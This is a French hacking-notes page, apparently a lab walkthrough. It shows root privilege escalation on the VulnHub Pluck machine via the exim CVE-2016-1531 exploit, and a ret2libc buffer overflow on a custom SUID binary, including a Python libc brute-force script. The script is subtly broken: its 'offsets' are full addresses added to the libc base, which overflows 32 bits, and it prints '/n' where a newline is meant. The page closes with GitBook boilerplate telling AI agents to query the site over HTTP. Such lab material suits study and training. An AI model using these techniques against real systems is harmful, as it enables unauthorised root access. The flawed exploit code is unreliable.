> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/linux-buffer-overflow-custom.md).

# Buffer Overflow Linux - Personnalisé

## Premier exemple de binaire personnalisé (Pdmenu/exim) :

<details>

<summary>Téléchargez la machine <a href="https://www.vulnhub.com/entry/pluck-1,178/"><strong>extraire</strong></a></summary>

</details>

> Le premier exemple se concentre sur l'exploitation du binaire légitime exim-4.84-7, qui présente une vulnérabilité identifiée comme CVE-2016-1531. Cette vulnérabilité permet à un attaquant d'exécuter des commandes avec des privilèges en abusant de certaines variables d'environnement.

* Dans ce cas, lorsque nous accédons à l'utilisateur Paul, un **Pdmenu** lui est attribué avec certaines fonctionnalités (listage des répertoires, édition de fichiers, lancement de ping, etc.) :

<figure><img src="/files/f7abfadfd838cae10688b8abee050d8994df4db3" alt=""><figcaption></figcaption></figure>

* Pour quitter ce menu, nous **éditons un fichier**, par exemple (etc/host) :

<figure><img src="/files/a4d881327c54e4bbe4719e74eb1552e83529817a" alt=""><figcaption></figcaption></figure>

* Dans ce cas, **vi** est utilisé comme éditeur de texte :

<figure><img src="/files/b3debd5886ea31f01f615eeb3166a0ccd547060f" alt=""><figcaption></figcaption></figure>

* En regardant **gtfobins**, si nous filtrons sur vi, nous obtenons les commandes pour quitter Pdmenu et **exécuter un shell**:

<figure><img src="/files/c18196b793da7aef18d97d98c31cf1ba2c06be12" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3fca28036f3c9668675e9565416449fb7bc1f3ba" alt=""><figcaption></figcaption></figure>

* Nous filtrons **SUID** les fichiers et trouvons-en un appelé exim :

<figure><img src="/files/218d8214862e8d7e59759e61ffe87f550677e04b" alt=""><figcaption></figcaption></figure>

* Avec l’ **searchsploit** outil, nous recherchons d'éventuelles vulnérabilités pour ce binaire :

<figure><img src="/files/26377addced39fb601e31d82a999c97dcb90d58f" alt=""><figcaption></figcaption></figure>

* Téléchargez maintenant le script et servez-le avec **python3** afin qu'il puisse être chargé après la compromission de la machine :

<figure><img src="/files/4bf54bec166e311850faa7a8682d4c7c0d009b1f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1c9f04ba0d46909e1e729c771e043f5844a08edd" alt=""><figcaption></figcaption></figure>

* Nous exécutons le script et, en effet, la vulnérabilité de ce binaire est exploitée, nous obtenons ainsi **l'accès root**:<br>

  <figure><img src="/files/78d08700242634dc1aa7ef762836ad44ad547cb2" alt=""><figcaption></figcaption></figure>

## Deuxième exemple (débordement de tampon) :

<details>

<summary><strong>Téléchargez la machine vulnérable</strong> <a href="https://releases.ubuntu.com/16.04/"><strong>Ubuntu</strong></a> <strong>machine</strong></summary>

</details>

<details>

<summary><strong>Installez l'outil</strong> <a href="https://github.com/longld/peda"><strong>Peda</strong></a></summary>

</details>

> Le deuxième exemple concerne un **débordement de tampon** dans un [binaire](https://hack4u.io/wp-content/uploads/2023/04/custom) sur une machine Linux 32 bits avec des protections actives et l'ASLR activé. Dans ce cas, nous nous concentrons sur l'exploitation de ret2libc dans un binaire disposant des permissions SUID et appartenant à root. Grâce au débordement de tampon, nous montrons comment injecter des commandes privilégiées et élever les privilèges de l'utilisateur.

\***débordement de tampon** implique d'écraser certains registres système, et comme le binaire est créé par l'utilisateur et appartient au groupe root, **il s'exécutera avec les privilèges d'un utilisateur privilégié**:

<figure><img src="/files/495a453d4fcc8d4ef5d4e7d366166f607b426c70" alt=""><figcaption></figcaption></figure>

* Le binaire appelé "custom" attend une **entrée de chaîne de caractères** et lorsqu'il est exécuté, rien ne se passe :

<div data-full-width="true"><figure><img src="/files/4ee2fcfccc241535500e9d3143a18f5f0b76126d" alt=""><figcaption></figcaption></figure></div>

* Mais si nous saisissons une **chaîne très longue**, il renvoie une erreur (core dump) :

<div data-full-width="true"><figure><img src="/files/24c68f671a239911ebdcdbde9a9261953f40d2f5" alt=""><figcaption></figcaption></figure></div>

Nous envoyons une **chaîne courte** de AAAAAAAA et aucune **erreur n'apparaît**:

* Pour analyser le binaire en profondeur, nous utiliserons **gdb-peda** outil.

<figure><img src="/files/41ad394d6b1e9c63ec352238f05745096197bed5" alt=""><figcaption></figcaption></figure>

* Mais si nous envoyons **beaucoup de caractères**, nous obtenons l'erreur suivante :

<figure><img src="/files/ee3638bcf8581471ab70ffa881df65935237bfc3" alt=""><figcaption></figcaption></figure>

1. La première chose à faire est de **déterminer le nombre total de chaînes** nécessaires pour écraser le registre (EIP).

* La première méthode consiste à utiliser un **motif (pattern)** qui crée une chaîne **conçue spatialement** (dans ces cas, 300 caractères) que nous exécutons dans le binaire :

<div data-full-width="true"><figure><img src="/files/48401e40077f16e0048e6c83746b5c519e97e228" alt=""><figcaption></figcaption></figure></div>

* Dans la réponse de **EIP**, nous savons que la **chaîne visible inférieure** est « AA8A » :

<figure><img src="/files/741057ecc2240d4bee68b82df2cbe653a46d9495" alt=""><figcaption></figcaption></figure>

* Le **automatique** le mode automatique de la procédure est avec le `pattern offset $eip` commande :

<figure><img src="/files/e8133e3eaf4e0e4124f8a6e8dd90b14cb03437ee" alt=""><figcaption></figcaption></figure>

* Pour vérifier cela, nous utilisons **python3** en envoyant 112 caractères A puis les 4 B finaux :

```bash
r $(python3 -c 'print("A"*112 + "B"*4)')
```

* En effet, nous confirmons maintenant la fin grâce à **EIP** qui détecte les 4 derniers B :

<figure><img src="/files/865978813c3087b28c2c7194f4fd4938bfbf97d2" alt=""><figcaption></figcaption></figure>

2. Une fois que nous connaissons le nombre maximal de chaînes, nous **vérifions l'ASLR** ce qui déterminera s'il y a **de l'aléa dans les adresses mémoire** ou non :

/- Avec la commande suivante, nous filtrons les chaînes qui nous intéressent spécifiquement afin d'exécuter le binaire 10 fois pour voir s'il change à chaque fois et pour voir si la **bibliothèque C** est aléatoire ou non :

C'est bien « aléatoire »

<figure><img src="/files/39dc5e5d0b63af57557e5188ccb737342c96246c" alt=""><figcaption></figcaption></figure>

3. Le problème avec ces **32 bits** binaires est souvent que si nous exécutons par exemple maintenant **1000 fois** A et filtrons avec une chaîne fixe, nous voyons qu'à chaque fois, **elle se répétera au moins une fois**:

<div data-full-width="true"><figure><img src="/files/7683c09d5f59638a10d82caeed0b33f71399760a" alt=""><figcaption></figcaption></figure></div>

4. L'objectif maintenant est d'abord de trouver **EIP** des chaînes (**system + exit + bin/\_sh**), qui seront toujours fixes et nécessaires pour exécuter un **Bash en tant que root** comme dans l'exemple suivant mais en Python :

   <br>

   <figure><img src="/files/0bf12daf79132b87aeb627b218244c14b15cd2e9" alt=""><figcaption></figcaption></figure>

* Nous créons un **point d'arrêt** afin que le flux du programme s'arrête à l'endroit souhaité :

<figure><img src="/files/a942c0a86efd96ab045222c4e3278e2b943f9e43" alt=""><figcaption></figcaption></figure>

* Nous injectons le **EIP** de (system/exit/bin/\_sh) :<br>

  <figure><img src="/files/ef8362de5bfe9e967376a56fcdaa13e3ff3e78fb" alt=""><figcaption></figcaption></figure>

5. Une fois que nous voyons qu'il y a **aléatoire**, nous devrons utiliser **force brute** jusqu'à ce que le **base/\_libc/\_addr** soit égal à la valeur souhaitée :

/- Avec ce qui suit, nous verrons les **bibliothèques en cours d'exécution** (dans ce cas **libc.so**):

<figure><img src="/files/88d3c736767dde2efbba500724c7a40c060b739a" alt=""><figcaption></figcaption></figure>

* Avec **readelf**, nous filtrons la bibliothèque et recherchons les variables injectées précédemment, qui sont (**exit et system**) avec les codes :

<figure><img src="/files/7239ac2da8280b1922cdbafaa8d0c426b44c920b" alt=""><figcaption></figcaption></figure>

* Et pour trouver la chaîne **/bin/sh**, nous procédons comme suit, en ajoutant un **0x00** au début :

<figure><img src="/files/352215831fd39d1f3a9a2fdd9e6f457abdb53389" alt=""><figcaption></figcaption></figure>

Le script Python3 suivant va **automatiser toute la force brute** jusqu'à **base/\_libc/\_addr** soit identique :

```python
#!/usr/bin/python3

import subprocess
from struct import pack 
import sys 

offset = 112
before_eip = b"A" * 112

# Débordement de tampon Linux personnalisé

base_libc_addr = 0xb7595000

system_addr_off = 0xb7d86db0
exit_addr_off = 0xb7d7a9e0
bin_sh_addr_off = 0xb7ea7b2b

system_addr = pack("<L", base_libc_addr + system_addr_off)
exit_addr = pack("<L", base_libc_addr + exit_addr_off)
bin_sh_addr = pack("<L", base_libc_addr + bin_sh_addr_off)

payload = before_eip + system_addr + exit_addr + bin_sh_addr

while True:
    result = subprocess.run(["sudo", "/usr/bin/custom", payload])

    if result.returncode == 0:
        print("/n/n [+] Exiting.../n")
        sys.exit(0)
```

<figure><img src="/files/2f312d0f7e1989314b81bc55b83b39ebca38dcd8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/linux-buffer-overflow-custom.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
